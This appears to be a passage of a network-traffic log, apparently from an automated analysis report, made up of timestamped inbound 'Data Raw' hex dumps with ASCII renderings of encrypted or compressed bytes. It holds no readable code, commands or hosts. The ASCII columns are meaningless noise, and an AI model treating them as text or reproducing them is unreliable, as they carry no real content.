48 06 d4 03 6d 69 65 af 96 0f e7 bb 9e a6 bc 0a 65 75 39 d6 a5 26 dc 10 ed b9 b5 41 bd de e9 d6 d4 0d 78 58 20 25 0a ab 63 3c 09 30 cc ed b3 b6 52 2d c0 e5 22 5d f2 34 17 81 03 b8 8d fe bc Data Ascii: a$tSh(2X\zi3[5'*(AP}TifFG8&KBXBr<DnLq<Yk$~Zw`2Q(u~+]<{M^ bAds7}q-a@Hmieeu9&AxX %c<0R-"]4
2022-08-31 12:28:59 UTC	1351	IN	Data Raw: 4d 00 ad 1e a5 3a 47 1a e5 b7 ac 07 0a da 5a 64 c8 35 f3 87 2f 0e 60 99 0f 8c a6 95 35 fd 47 f1 80 ac 1f 6f ef 62 56 7e 2c 14 25 e8 e3 53 c5 70 90 21 7b 6c f7 52 2d f1 ab 93 71 85 a8 6b 08 67 7f 2b ea 90 b9 ce 4f c0 0d 82 70 05 27 d8 16 a3 23 6f d4 21 93 c4 55 f7 51 25 e2 6d 62 d3 f3 1a 94 da 3d 02 ba 41 9c b8 30 7d 42 7b 60 54 83 1a 2d a2 d8 14 0c d9 7e 0b fc 46 53 ea 12 7d c1 8a 4c 95 db e7 96 64 26 e4 dd 71 fc 5c f4 1c f4 91 0b b2 c6 dc e6 e5 e9 95 62 2d 66 39 77 d4 b4 79 1a 42 09 7b ac 1a 8c e5 08 b5 14 9e df 4e 96 65 73 1e 2c 28 58 e4 92 53 be bd a6 85 74 21 b2 5f d4 6b 41 cc ef 4b 1f 48 36 bb 92 62 f8 70 94 6e 9c 04 b0 2f 6f 35 39 2d 6e 13 8f d4 5a e9 fe b5 13 cd a0 16 10 fb 93 44 a0 d8 d7 35 83 67 a2 0f ce 5a 56 21 03 9f cc f4 0b d3 5c 39 3d 9f e7 Data Ascii: M:GZd5/`5GobV~,%Sp!{lR-qkg+Op'#o!UQ%mb=A0}B{`T-~FS}Ld&q\b-f9wyB{Nes,(XSt!_kAKH6bpn/o59-nZD5gZV!\9=
2022-08-31 12:28:59 UTC	1367	IN	Data Raw: 08 41 cf 1c ee 41 94 11 35 e7 65 db 5c da 1a 39 54 71 7d 0a d3 7a b5 da 95 2f e9 5f 7e 5f 47 ef 8f 86 bd 6d f9 50 7d 7a b3 f2 97 34 73 98 7e d8 79 aa d1 9b 69 b0 f4 1e 11 e5 d1 2b c9 74 b7 a3 b8 55 3e 8e 41 f5 d1 de 83 37 b6 49 f8 d8 fd 3a a3 cc 81 4f e2 10 af ea 0e d7 fa 88 45 e3 18 34 fc 65 5f 5d 26 b8 9c e0 78 60 c1 8e ff 5e 72 ee 19 19 9d e2 d5 ac 80 6a e8 c4 f6 d4 5f 4e 11 46 4b 8d b4 18 38 7b b0 a0 eb 0c 41 f6 8f 6c 84 7f ff 74 b4 99 8e c9 45 47 2c 8a d2 b6 24 cf c7 5e 63 4e b3 e2 e1 0d cf 9e 65 4c 20 ac b5 1f 42 41 67 33 c6 db 9e 05 0a 6e 66 02 22 b0 c7 e7 80 c9 01 0f e3 cd e4 8a 92 4e 43 dd 60 1f 1b 3e dc 19 25 94 0e 66 41 27 3e f8 fa 23 a1 d4 c0 0d 8f 40 ee 48 8a 48 d4 83 b7 9e d5 84 2d ac 2c 85 5c e2 17 d0 7f 79 11 f1 e1 9b ed 87 3f 3f 08 de 50 Data Ascii: AA5e\9Tq}z/_~_GmP}z4s~yi+tU>A7I:OE4e_]&x`^rj_NFK8{AltEG,$^cNeL BAg3nf"NC`>%fA'>#@HH-,\y??P
2022-08-31 12:28:59 UTC	1383	IN	Data Raw: bd 03 dd a7 bc 9a 91 68 46 84 aa 47 8c e3 07 44 49 17 a5 2f 3a 09 7f 27 fd b4 04 56 77 86 33 c0 97 52 26 68 03 4e a0 d1 83 be 52 09 8d 3a d6 5e b5 14 ec 79 ae 61 c4 f3 20 fa 2f 95 5f 6f 43 40 cf f6 fa 2f 36 69 36 e8 cc 92 d2 89 0d 90 72 94 d6 41 d1 88 0d 3b 08 db 3e 4c e8 66 81 8d 68 86 b4 e2 47 90 7d c2 d8 94 7f 4a aa 4d aa db 56 eb df 3b 3d 9b 43 cc 08 d1 b2 ef d6 04 87 29 e4 fd b4 eb d8 47 d1 f7 49 fb f9 f6 0d 1c 59 59 6e 7d 21 e4 d1 1a 64 61 e0 c1 65 cf fd d7 7d 2c 9c 5a 6b 9a 05 9c f5 2f ec cd 9d b7 96 22 d7 39 dc b9 52 37 a5 4d 47 2e 43 33 83 ee bf 48 31 57 52 2e 1b 28 6a 0f 9c 4b 04 0e 65 0d 8c cd 86 91 b8 67 ba ea a6 b1 51 c3 23 d2 26 83 41 6f d5 bf 1c ef 6a 6f db f1 e8 05 e0 6b 77 2e 0c b4 d3 a1 ee ab 71 41 43 05 cf 58 43 34 43 bd e6 cd 99 1c f1 Data Ascii: hFGDI/:'Vw3R&hNR:^ya /_oC@/6i6rA;>LfhG}JMV;=C)GIYYn}!dae},Zk/"9R7MG.C3H1WR.(jKegQ#&Aojokw.qACXC4C
2022-08-31 12:28:59 UTC	1399	IN	Data Raw: 8d 22 e6 f3 b2 1e b2 f7 f7 bc 97 25 b3 40 62 41 42 bd 2a cc 3b 9a f6 64 23 0e 7d 52 bf da 34 88 d5 3d 18 b3 39 07 84 ee 85 a2 72 1f 8f 57 71 e9 8c 5d fd 47 37 92 88 2c e6 de 21 ab 1e 67 29 6a 65 87 b2 56 49 c7 9f ab 37 35 4e 9c 55 7f f6 f6 5c a1 d4 b1 e9 0f f5 16 f8 be a0 bc 56 16 ce fe d1 75 2e c6 e2 58 78 5e 98 ce 5c ca 22 97 e6 b4 9b 89 ec fc 5d e4 2f 95 fa 02 df 35 6e 58 47 d3 e5 8e 09 4a c4 a8 04 f8 6a 74 54 77 8a ff 92 a1 3a 84 65 aa 4a 3d 44 cb fb 80 e0 3c ba 42 8d 1a 7b 33 ac 8f 62 38 30 8b fc 2f e6 ad ca bf 56 3d 56 db 82 f8 bc 3f f1 80 fb a6 83 ff 66 4d 4c 16 d4 80 3f b6 95 5b fe f0 48 ad 54 35 26 36 35 91 2c d0 72 79 72 58 72 82 c1 9c 77 32 0f 4e e4 de 4b c0 ce 79 c6 0b 1e 1f e6 a8 8f 6e a8 36 72 3f 01 46 64 0c aa 31 ea eb da c3 7f a1 38 5d 11 Data Ascii: "%@bAB*;d#}R4=9rWq]G7,!g)jeVI75NU\Vu.Xx^\"]/5nXGJjtTw:eJ=D<B{3b80/V=V?fML?[HT5&65,ryrXrw2NKyn6r?Fd18]
2022-08-31 12:28:59 UTC	1415	IN	Data Raw: ce fc f8 49 fa 94 89 cb b4 7a 67 af 34 5c ac 3c 1a e3 05 80 0c 47 0e c8 60 dc 12 02 d1 7a 32 3a 64 46 fe 81 bd 73 33 98 4e 6f 72 31 2d 7d 2b 35 54 b9 a5 09 02 cc f4 1d 0a de 92 4c fa 8d 55 88 b4 eb c3 74 04 91 b1 f5 24 7a d0 e5 2c dc cb ee 1e 07 bb 25 64 be 67 31 ec 1b 28 9c 88 46 38 3c 78 43 f3 ae a3 8e 71 6e 66 af db bf 42 3b b1 be f6 35 69 08 6f 0f 1d bc 53 1e e7 7f 53 bc 7d 79 f7 17 b2 03 d9 af 7e 58 55 cf ee 4f 42 2a aa f7 40 56 ea d9 ea 55 b9 4b bc 56 0e ba f5 e4 aa 16 d7 78 f6 03 c6 a3 dc a1 44 6d 8e a2 58 8b 8f 12 44 fd 75 cc 0c 9d 33 46 6c 90 f6 74 7f 61 59 c7 7c ab b8 98 cd b5 e2 18 04 64 41 f4 7d 93 d6 7b 63 e9 8f 20 89 1e 67 96 f3 74 5f ce 4c c0 4c 04 35 76 da 79 49 17 0e e7 a4 c8 6e a8 b1 48 cf 23 2f b5 43 99 08 af 0d c0 b3 83 54 f6 bf c8 54 Data Ascii: Izg4\<G`z2:dFs3Nor1-}+5TLUt$z,%dg1(F8<xCqnfB;5ioSS}y~XUOB*@VUKVxDmXDu3FltaY\|dA}{c gt_LL5vyInH#/CTT
2022-08-31 12:28:59 UTC	1431	IN	Data Raw: 46 ef b0 5e 0e 2f 10 76 eb 6a 54 a0 e8 df b2 b4 38 49 44 31 4b 48 d2 48 90 f4 c5 11 7d 66 77 ce d9 3a ee c2 03 e4 18 45 44 62 3f c9 65 b7 b5 ad 0a de ac 49 94 09 dd 33 a2 05 bd 00 95 0c fb 06 b0 46 59 0e 62 41 22 dc 7d 47 1c 4c 1e cd e9 cf 96 38 2d 0e b3 63 a1 7b 71 34 e6 12 a9 b1 1b 3d c4 86 1c 1b 08 a4 73 13 d0 cf 9c 61 dc cf 13 aa a4 d8 fa 5a 1d a0 b5 58 fc fc 71 b6 10 04 b3 06 04 07 6c 47 83 25 73 8b 4b 91 2c ee 63 1a 62 79 36 25 7f 8c 77 9e 7f b1 3e 2f e3 14 45 79 23 96 12 04 92 5f 8c 05 bb 5c b9 b1 cf 24 c3 8c ae 81 0a c6 47 4a 35 29 64 d7 0f e3 9b fc 05 b0 28 cb c6 0d b5 51 8e 46 05 c1 c8 64 d8 72 ab ae ed 9b 43 59 94 9c 97 ef 5a 56 d7 f9 61 42 a9 9e 04 10 11 a6 a5 ea 42 25 0a a6 37 54 ff 70 a3 86 17 c4 31 40 c4 60 42 00 60 ac c0 22 b1 23 e4 f4 cf Data Ascii: F^/vjT8ID1KHH}fw:EDb?eI3FYbA"}GL8-c{q4=saZXqlG%sK,cby6%w>/Ey#_\$GJ5)d(QFdrCYZVaBB%7Tp1@`B`"#
2022-08-31 12:28:59 UTC	1447	IN	Data Raw: e6 fa 35 49 6e 80 00 88 1c 7b 90 f7 83 20 d5 04 c2 53 98 21 2d e3 fb 48 f9 a3 cc a6 e4 93 c4 a8 ed cb ce 4a 3a 29 bc 8a 0c 97 d0 db ab 98 54 bc b8 58 6a 07 b0 cc 60 4a b6 1c d4 67 ab dd 3e cd 98 61 c7 69 50 ed 41 02 b8 2c 89 c9 a2 90 63 58 0a 17 f4 a8 21 fa 90 fd 66 b9 23 5d 6b 02 27 25 78 5c 71 f6 76 f3 9a eb ee 62 24 0d b5 6b d6 85 4b 90 e2 71 cb b1 5b 7a 56 3c 38 6c 4f d4 b6 b1 98 ac dc ff ca 57 2e db 5d fa 5b e7 78 b8 6c 5f f8 71 7e e0 c4 c6 2f 19 a9 07 38 d8 48 03 46 35 8c 6d a6 23 65 80 07 e5 84 31 1f 86 2f be 4b 38 73 67 e7 77 4a 8d 83 35 69 3e eb fc c5 95 e2 6b 94 4f 08 ee 4a 9d 3d db 85 f0 48 98 d4 80 6c 72 b9 c2 82 f6 c8 b9 d9 f3 2c 1c bb 3d d6 a2 2c 9c 5a ed f5 0a a7 dc ad dc f6 76 89 a2 24 fb 7f bb f3 2b 0f 8f f7 dc 4f d3 1f 72 0d de 7f 05 dd Data Ascii: 5In{ S!-HJ:)TXj`Jg>aiPA,cX!f#]k'%x\qvb$kKq[zV<8lOW.][xl_q~/8HF5m#e1/K8sgwJ5i>kOJ=Hlr,=,Zv$+Or
2022-08-31 12:28:59 UTC	1463	IN	Data Raw: c3 5e 11 fb 7f 7f 4a 5e ae 32 2d b7 2d 10 79 60 6b 24 bc 93 e4 45 60 92 15 76 fa c0 66 f2 44 a4 f3 24 4a 94 e0 1d 46 a0 32 25 28 58 ed 33 0c 82 3e 28 3c 47 dc ba 74 8d ca 9f ca 97 f6 47 9f 1f f6 3d 2e 34 13 6d 8e 2d 53 33 10 26 93 1b 95 41 31 9b 3c 33 92 5c 5b b5 25 ed 03 39 43 e2 b1 d0 a3 d3 c0 3b e4 32 0d 28 de fe 0c aa ff b1 c2 17 b7 ff f5 d6 37 99 25 fd 7e 47 75 92 26 94 28 ed 42 08 d6 71 36 3e 35 6e be 65 32 64 72 58 eb cf 42 de cf 57 7a 1a d7 c9 66 17 ae d7 7c 3d ee ac c2 04 4e 02 4a 30 f8 2d 4e 24 c2 95 07 11 fd a7 3c 62 d4 08 24 19 f5 69 fb da 36 74 73 a4 db 81 ef 7e fa 21 48 99 ff aa 51 15 ac 29 00 04 93 79 be c1 b4 94 5b e5 0e c3 18 3f f0 e1 18 16 0f 5e 09 24 56 95 b8 cf bf 5c 32 d4 ac 6a 89 9a c1 ab 5b 2d 02 90 b2 63 b1 d1 85 8b 16 42 b1 db 8e Data Ascii: ^J^2--y`k$E`vfD$JF2%(X3>(<GtG=.4m-S3&A1<3\[%9C;2(7%~Gu&(Bq6>5ne2drXBWzf\|=NJ0-N$<b$i6ts~!HQ)y[?^$V\2j[-cB
2022-08-31 12:28:59 UTC	1479	IN	Data Raw: b2 e9 48 e8 89 a5 bc 3c 2d cd 4a 22 6b 05 17 9d 39 49 c3 8f c9 e1 50 e9 d3 82 9b b7 5b 30 c5 e3 37 99 4f 3a fb 94 4d 54 49 19 c5 7d 0c 27 7f f9 fc 09 cb 3c 9f 9c be 98 9c e4 f8 b3 5f 16 41 34 cf b2 0f 3b 71 91 19 4e d7 92 3e 04 91 b7 c3 f4 c7 e3 7b ae 62 a4 3a 06 55 0d a8 f9 4e ff ad de 86 46 10 32 4b 35 21 96 7a 10 6a f1 d3 21 3b 75 13 c2 dd 36 74 f8 89 50 b2 0b 3d 25 f6 44 ee f7 71 fa 3e 53 28 7c e3 29 f0 5b c3 60 ce 49 8c 4f 24 d3 d3 06 c7 53 95 8c d1 ce 02 6a ff 13 36 68 e3 0d f9 85 47 a1 63 be 82 df 97 f5 fc a0 76 4b 1a 37 d6 d4 9a 12 0c cb 42 86 f9 4b e9 7f 29 00 87 89 94 50 42 5a 8b c2 fd 7d 18 fd 63 8b 33 f4 de 02 98 fe 6b 5f 37 3f b8 cc bb fd 05 9e 01 df fa 79 bc 61 8b ac eb 45 9e 10 87 62 d6 4f 11 a7 65 02 9b bd d6 ce 56 c8 2d a8 bb 9d 98 9f 92 Data Ascii: H<-J"k9IP[07O:MTI}'<_A4;qN>{b:UNF2K5!zj!;u6tP=%Dq>S(\|)[`IO$Sj6hGcvK7BK)PBZ}c3k_7?yaEbOeV-
2022-08-31 12:28:59 UTC	1495	IN	Data Raw: 7c 37 43 18 74 54 22 05 0f d9 c7 e8 f9 07 a0 35 16 23 a0 ba c1 3c ad ae 80 79 27 21 71 53 3c 56 be 6c 18 7e 50 97 49 eb 4e 8f 6b 7e ff a9 f5 d5 7d 59 12 a5 fc dc de 0a 97 55 0b 0c 72 c4 e7 39 6a 2c 31 49 97 05 80 ac 56 30 a2 65 0e c1 04 3a 1e 51 83 e2 a3 1e c5 95 e0 95 e8 59 da e0 bd 4e f5 b2 00 d3 72 78 d7 3a 4b f1 c2 90 8d 1a 46 42 1e 7c 72 b8 6c dd 57 32 89 d8 68 00 a0 bf a4 3d f2 71 fa 29 86 8c a7 95 28 b8 da 1f 82 c3 a9 e7 ef c6 02 f8 44 16 2e fb e6 f3 bd 43 04 48 4c ff 05 82 87 cc 3a 40 9f 2e 02 c1 0b 68 af fd 0e b4 84 0d 45 76 d7 03 a3 1a b7 92 1c 7e 44 5a a3 ed b7 02 1a 7a 2e bc 64 56 cc 6d 39 33 f6 fd 99 6e 3b d8 f5 3d 92 5e de 70 42 7c 1d c8 22 04 90 de 55 d8 9f 83 4b f1 7b 72 b4 8b 52 4d 35 f9 bd 86 24 f6 f0 b7 07 37 fd 17 89 87 1f b9 c5 9e dc Data Ascii: \|7CtT"5#<y'!qS<Vl~PINk~}YUr9j,1IV0e:QYNrx:KFB\|rlW2h=q)(D.CHL:@.hEv~DZz.dVm93n;=^pB\|"UK{rRM5$7
2022-08-31 12:28:59 UTC	1511	IN	Data Raw: cd a8 42 07 97 78 16 e7 9b 2e a3 2d ab d5 15 14 93 48 6f d1 5f e7 13 e0 4c d2 22 7f c9 50 59 7c 55 b1 76 fd 78 2d 7b fe 95 ef 75 b5 08 11 52 38 d0 ef 37 0b 3e 5a 69 a4 c7 4a 1f 38 a4 6a 9c c8 aa c5 f8 89 f9 aa 5d e5 6e 69 a9 b5 8d 3a 26 b5 9f 7a 73 7d 2c a3 05 e5 8a 92 3b 1a 73 c2 70 61 26 e1 58 60 0e 49 7a 51 9e 20 67 fd 8f 4a 9f 3f 8b 73 19 0c 07 30 27 0e 5a 32 fe c1 51 e3 f6 5a cb 28 43 ee 3c 20 9a f2 0f d9 b6 ff ac 31 9f c4 07 55 2d a2 84 c2 0a 13 6f e0 9c 63 48 2c e2 64 ee 94 fc a9 bc 0a 20 04 87 7c e5 63 83 db 00 1f 9e d6 f8 bc 92 8f 51 eb 6a ec e1 fb 54 51 ad fa 6b e0 81 a1 73 ff f2 6c 34 0a e4 b6 e6 8f 1b e3 19 6f 85 f0 bb 85 24 51 17 46 39 76 6e c1 de ad 52 1e fe 83 eb c5 c0 eb c6 02 6c 2a de db 28 b2 79 0e bb 98 50 4a 27 0e 08 20 6a 3f 4c 64 60 Data Ascii: Bx.-Ho_L"PY\|Uvx-{uR87>ZiJ8j]ni:&zs},;spa&X`IzQ gJ?s0'Z2QZ(C< 1U-ocH,d \|cQjTQksl4o$QF9vnRl*(yPJ' j?Ld`
2022-08-31 12:28:59 UTC	1527	IN	Data Raw: 88 cf 7b 7d c2 19 d1 d8 3f 88 a6 ae 38 75 ce 26 62 73 fa 46 ad 76 b3 f9 d1 5d 11 06 de e0 1a fb 5a d3 57 6f e5 a6 6b 15 75 48 81 5e 3d 36 ea 8d 9c 95 d1 c3 d8 4a d6 7e 26 d4 88 68 06 a3 74 7a da f9 24 0a e9 1e 8a bd 28 97 ad e3 24 08 88 36 c7 ad 75 7b 3d 5f d6 33 43 0e 44 cf 0d d2 39 bf 3a 01 aa be 01 b6 e9 32 5e e2 23 b0 6e 56 95 da 51 fb 7f bc 22 1e c0 4f 26 4e 3f c0 8d 58 c9 12 58 b7 db b9 74 c4 0f b1 a3 19 cf de 24 5a 55 8a bd 83 26 de 04 aa 91 a1 50 09 6e 3d e5 ae d6 92 98 01 40 79 40 d5 6a 0f 85 21 21 b2 75 b1 77 a5 a4 5a 26 fc 09 8b 8b c2 e9 af fc 3a a4 cb 3d c9 4e f1 02 5b 73 00 35 d4 08 a0 b2 0e a4 65 fe 5f 66 72 b9 3b 1c cc dc 46 9e 7f 6a 1d c0 13 e8 d7 9d ca 42 85 09 93 4b ce 31 5e 8f ca 24 47 5a 39 fb 70 24 57 e6 56 31 a6 cf f0 a5 0f 8d fa e2 Data Ascii: {}?8u&bsFv]ZWokuH^=6J~&htz$($6u{=_3CD9:2^#nVQ"O&N?XXt$ZU&Pn=@y@j!!uwZ&:=N[s5e_fr;FjBK1^$GZ9p$WV1
2022-08-31 12:28:59 UTC	1543	IN	Data Raw: 8d 2e e7 24 7b 6b 6c cb 79 2b e5 92 6a 4c 2b cb 40 f4 c1 23 e4 26 1c 30 7a a0 ec ff 48 35 d2 de 2c 1b 9f 73 6e ea 8f f9 36 dc b7 58 33 27 b9 85 bc f9 b8 33 75 3a 05 2f 29 3f 34 c4 58 4d 34 17 31 15 6f f5 d3 9f fb 20 6e 5d 41 a2 06 df 36 d1 b5 ac 68 7a 97 29 8f da 75 f8 f2 d0 e1 32 a2 17 5f 6e 07 fd 0f 29 cf 71 89 ea 5e b2 cf 8b 32 f4 a9 01 6a d4 94 38 52 ac f9 47 c5 53 3d 80 3a f6 46 61 f9 96 e0 b1 27 ec e5 02 37 de 88 3d 87 70 1e 3a 0a af 39 d5 d7 5a 0e 41 b4 2c 39 60 7e 0d e6 9f f7 28 5e b5 e9 d6 b5 22 2d 82 16 ec f9 c0 95 92 40 b9 76 e7 bd 62 a3 d5 bb 19 b2 99 99 83 f1 b5 35 fd f1 c2 11 ee 5c 63 9d 7b 92 bc 33 27 7c fb 24 54 33 0a 71 f4 15 bc c2 fb 7d 44 84 3b 26 b8 43 2c 99 04 9c b6 b3 c7 15 dd 9a c3 22 df 5a f1 e0 1a 99 8d bd 16 0c 5b 24 4c fd 15 67 Data Ascii: .${kly+jL+@#&0zH5,sn6X3'3u:/)?4XM41o n]A6hz)u2_n)q^2j8RGS=:Fa'7=p:9ZA,9`~(^"-@vb5\c{3'\|$T3q}D;&C,"Z[$Lg
2022-08-31 12:28:59 UTC	1559	IN	Data Raw: 6a cc 86 e0 23 da cc b6 dc 91 ea db 58 ea f5 13 70 d9 c7 a6 7f 0c c6 aa cd 9e 28 15 ba ba 40 39 d6 e9 d8 d2 cf da 75 fa 25 54 1a 6c 55 0d 55 3d ae 5d 52 40 84 ac 5b 68 50 ce d8 68 6a ca 42 07 26 45 ad 86 6a 27 3d ff 55 ce 7f f4 ae 84 49 fa 6f d6 8b 92 09 63 0b e5 59 d0 1b ba 32 de 71 a0 5b d1 a6 95 b7 4f 33 ff 7c c4 5d 74 8e 2c 1a cf 31 c1 5d b5 a1 bb 36 f6 23 22 49 4c 0f cb 20 bd c9 16 b1 53 26 fb c5 0b ea 4f 09 16 bc bc b3 e8 39 4b ec 0b 2c 2b 9c 54 b6 85 17 24 2e cd cd 6e e4 91 2e e9 09 85 71 0c 33 a3 94 d0 73 91 2d a2 ad eb f8 e8 df 8b 16 b2 5c 77 85 7e 27 94 16 69 29 a1 e9 2f 9c 93 93 38 2a 7f e1 08 42 40 bf f4 76 c1 c6 96 bd 32 05 57 85 10 fc 26 e9 f4 c9 fa e8 68 ab 3c b6 86 d7 a7 05 c1 49 69 ca e8 10 b8 e3 fc 09 bb d5 56 0e 0c e3 20 af 46 29 62 f3 Data Ascii: j#Xp(@9u%TlUU=]R@[hPhjB&Ej'=UIocY2q[O3\|]t,1]6#"IL S&O9K,+T$.n.q3s-\w~'i)/8*B@v2W&h<IiV F)b
2022-08-31 12:28:59 UTC	1575	IN	Data Raw: 5f 92 cb da 28 b5 41 35 de 95 f9 d0 f6 65 51 ff ec 4e 52 10 18 67 da b6 88 9d 9c 1a 4b d8 9a 8a 22 d0 7e cd a4 8e 6f fc a0 4a 99 92 11 49 4d e7 3c 75 e5 dc fb c4 4a 71 d9 77 12 d6 16 3a 99 2a 04 f0 40 d3 7a 3b b5 13 ff bd e3 60 9f 39 16 eb 9f 37 36 3e d7 79 1f ae 30 b2 13 e1 05 d1 12 06 a5 57 95 70 3c 92 5d 83 47 2b c9 3c 71 37 e2 87 9a 8c 0f 9b 2d 86 3f 05 87 4c a1 cb 09 26 5a 02 a1 81 6c 64 58 41 7e 0f c8 6b a9 b6 db 0d fa d3 17 f6 ce 70 81 b4 bb b4 63 a9 c2 b0 7f 42 b5 ba f4 9b df 30 b0 dc dc af 82 b1 95 a0 1e 66 82 f7 17 ab bb c4 45 b9 ea 9c c2 ef 9a 3f fa 98 e6 f0 8c d1 fb 79 0e 58 fd ba e9 3d 76 0d 97 12 43 0c 10 3d d4 4e b9 44 35 fa 7a 96 9f 47 c3 d7 8e 0c 6f 17 c0 ad e3 7a 47 0b 01 63 fa 15 6a 19 06 86 7f 17 23 ea ce 5e 5d 39 2c 11 90 b0 74 01 53 Data Ascii: _(A5eQNRgK"~oJIM<uJqw:*@z;`976>y0Wp<]G+<q7-?L&ZldXA~kpcB0fE?yX=vC=ND5zGozGcj#^]9,tS
2022-08-31 12:28:59 UTC	1591	IN	Data Raw: 52 0d ee da 06 8c 0a 52 f1 26 ca 72 23 50 01 c6 70 f5 f9 0d 15 98 5e e3 42 57 5b 1a ba fb 02 97 f0 d3 ac 8b 60 6e fa 60 24 f5 92 dd e7 0c 05 9d 2d 90 42 e5 4a c8 8a 02 d7 57 23 7c 58 e7 31 b9 a6 f5 dc 6c fb b6 e9 dc 28 ae 52 7f b6 5a ad dd 51 b0 12 3c 57 38 28 69 cf 33 4b 4f e3 e0 77 fc 58 05 96 f7 d6 ac 82 63 a1 62 98 90 4b e7 3e e3 50 39 e8 ce 92 a7 29 f8 42 3d 1a 8d 34 88 d8 fe 84 24 4b b8 69 e0 6d e4 e5 dd ad 65 c5 3a 92 e2 22 fe 9c e6 e8 fb d8 94 7e 59 91 5b 27 cf b3 c4 e9 bf d4 51 02 8b 6d 7d cb 15 55 31 c4 15 2a f5 cd f6 cb 24 4c ff df 99 d7 61 72 35 ba 6a 76 1e 89 b9 ac eb 3b 2a 40 8e b3 e6 e4 9d 93 fc cc 9f 2d a0 03 78 3a 1d 0e 0c 05 d2 6e 17 0a 37 c0 71 d2 dd 91 5b 1d 04 7a 28 a4 40 80 06 3c 1f 05 1d 61 dc c1 40 52 ac 80 37 3a 71 d1 63 c0 d8 9f Data Ascii: RR&r#Pp^BW[`n`$-BJW#\|X1l(RZQ<W8(i3KOwXcbK>P9)B=4$Kime:"~Y['Qm}U1$Lar5jv;@-x:n7q[z(@<a@R7:qc
2022-08-31 12:28:59 UTC	1607	IN	Data Raw: fc ac 78 13 6e 0c 96 0e 36 7a a7 2f 9a ca 43 f3 97 3c 88 b3 cf b6 50 9d 2e d2 c1 b5 8b 09 fa 21 d1 96 74 a2 4c 87 16 4d c0 19 fe fa 77 d9 3a 6f 32 3f a0 0f 3f 4e 2e 1d f9 f0 6a f3 db c0 e7 a9 56 ce 56 4f 73 7b 90 b7 f6 fe 71 97 d0 f3 9e f2 47 be 85 6f 9f 8d c0 29 52 84 46 39 f0 c3 25 11 4d 09 44 f7 0b 5f 08 ce 85 4c 63 f8 e4 ef d8 61 20 56 3c 47 4b 7b 11 3a a8 d5 dd 38 e8 1e 9c d1 bc 4b ac 38 84 15 90 38 45 d9 7f 07 34 40 ce a7 a3 1b 22 12 23 89 df 9e 4d 04 e4 5d ea ec 96 06 58 c1 e2 cf c8 1d 3c cc 35 0a ee 5f 3b d9 55 f3 17 41 47 e2 54 9f 84 21 9b 1b 4d 98 e2 0b 24 f4 31 7c 98 5b 8c 87 0d 32 3b 0f 38 88 a4 93 5a 4e 8b e9 47 fd 58 af c3 7a 8d e3 50 d2 af 04 8c 3c 03 59 9d 66 7e 99 27 95 58 bf 4c 80 34 f7 47 cd 04 3b ab 41 fe 1b d3 c4 c7 ef 3d 8b f9 5e 94 Data Ascii: xn6z/C<P.!tLMw:o2??N.jVVOs{qGo)RF9%MD_Lca V<GK{:8K88E4@"#M]X<5_;UAGT!M$1\|[2;8ZNGXzP<Yf~'XL4G;A=^
2022-08-31 12:28:59 UTC	1623	IN	Data Raw: df 39 8e ac 8f fe 57 7b cf 9e a6 11 14 34 5b 27 eb e5 77 92 6a 0c e1 09 c6 28 c0 91 18 8e 60 ed 1b 66 f7 c4 f0 62 80 6f f8 67 12 b4 86 ff 55 d2 84 d5 e9 09 26 01 1d 56 1a 42 23 29 b3 6b 86 e0 50 24 df 08 09 f4 0c fa 2d f3 b6 b2 7b 04 37 74 d8 af 4a a1 f3 21 56 2b 77 11 82 71 e6 e8 7e 27 4b 5e 7e 92 e8 e4 db 94 8f 95 e3 d7 35 71 f3 96 99 6b 3d c8 e6 77 22 36 a2 b0 18 7a d9 53 c3 a6 c0 33 62 a4 a1 cd d1 8d 5b e9 f2 4d c4 0f 8f 07 d6 0d 6f b9 6b 75 a7 4a 2f cb 6d 1d f5 5f e7 cc 74 35 4d 8c 76 28 e4 b3 71 95 e6 5e 96 cc d5 06 50 01 b4 b9 70 32 84 85 06 6d de 66 36 2d d4 ca 28 df 55 cd f1 93 19 fd 17 08 14 ba da 36 ed e7 bc 4a 8d 35 38 dc 44 9e 9c 4b 69 a5 23 4c fb 6d b7 16 a4 d7 a7 30 ed d5 8d 1a 5e 04 99 9a 00 4a a7 08 4a fb da c1 9f 9d 84 7e a3 d8 59 f0 14 Data Ascii: 9W{4['wj(`fbogU&VB#)kP$-{7tJ!V+wq~'K^~5qk=w"6zS3b[MokuJ/m_t5Mv(q^Pp2mf6-(U6J58DKi#Lm0^JJ~Y
2022-08-31 12:28:59 UTC	1639	IN	Data Raw: 18 44 d7 68 90 61 b7 f8 00 b6 e8 52 8c 46 fd 4d d8 56 44 d7 57 b2 2d a1 9e 3b 03 bb ba 9a 70 b9 54 ac 6a 94 58 31 24 7f 58 c6 a8 28 9d 11 df a5 9f d5 19 3b ea 49 70 78 aa f9 e3 63 61 72 05 41 27 c1 e5 c3 43 34 20 76 55 b3 0c f9 2d f9 d9 98 a7 a7 84 32 2c 6f b5 e9 a0 87 16 17 7c b0 cc 2a 29 65 ed d5 9d 89 92 2d b9 ee 70 88 ef 00 b4 ab 9b f0 32 ad 6b 82 69 89 94 0c bb a8 06 68 9f 1a 75 69 8d 9e 16 b1 ed 4c 37 ba 68 2d 95 36 0a f1 df 00 00 90 7f 86 d8 e6 ac e9 d4 da a8 1c 15 61 2f ec 58 79 f1 ea b6 d1 b3 57 38 da 10 df cc 18 aa 26 0f da 2c e8 44 04 b1 e9 cf 24 8b d3 b7 c3 9e d8 e8 63 a6 cc 3f f1 b6 fe 77 89 6d a4 9c ff 78 3f 1c 96 b4 4b 85 91 7d 61 9d 63 ef 77 81 18 80 e6 08 a9 8c cd a4 e5 b6 c3 ad 69 9a 63 77 34 6d 4d e3 e1 97 e4 67 66 34 1e ca 5d 7a 88 b7 Data Ascii: DhaRFMVDW-;pTjX1$X(;IpxcarA'C4 vU-2,o\|*)e-p2kihuiL7h-6a/XyW8&,D$c?wmx?K}acwicw4mMgf4]z
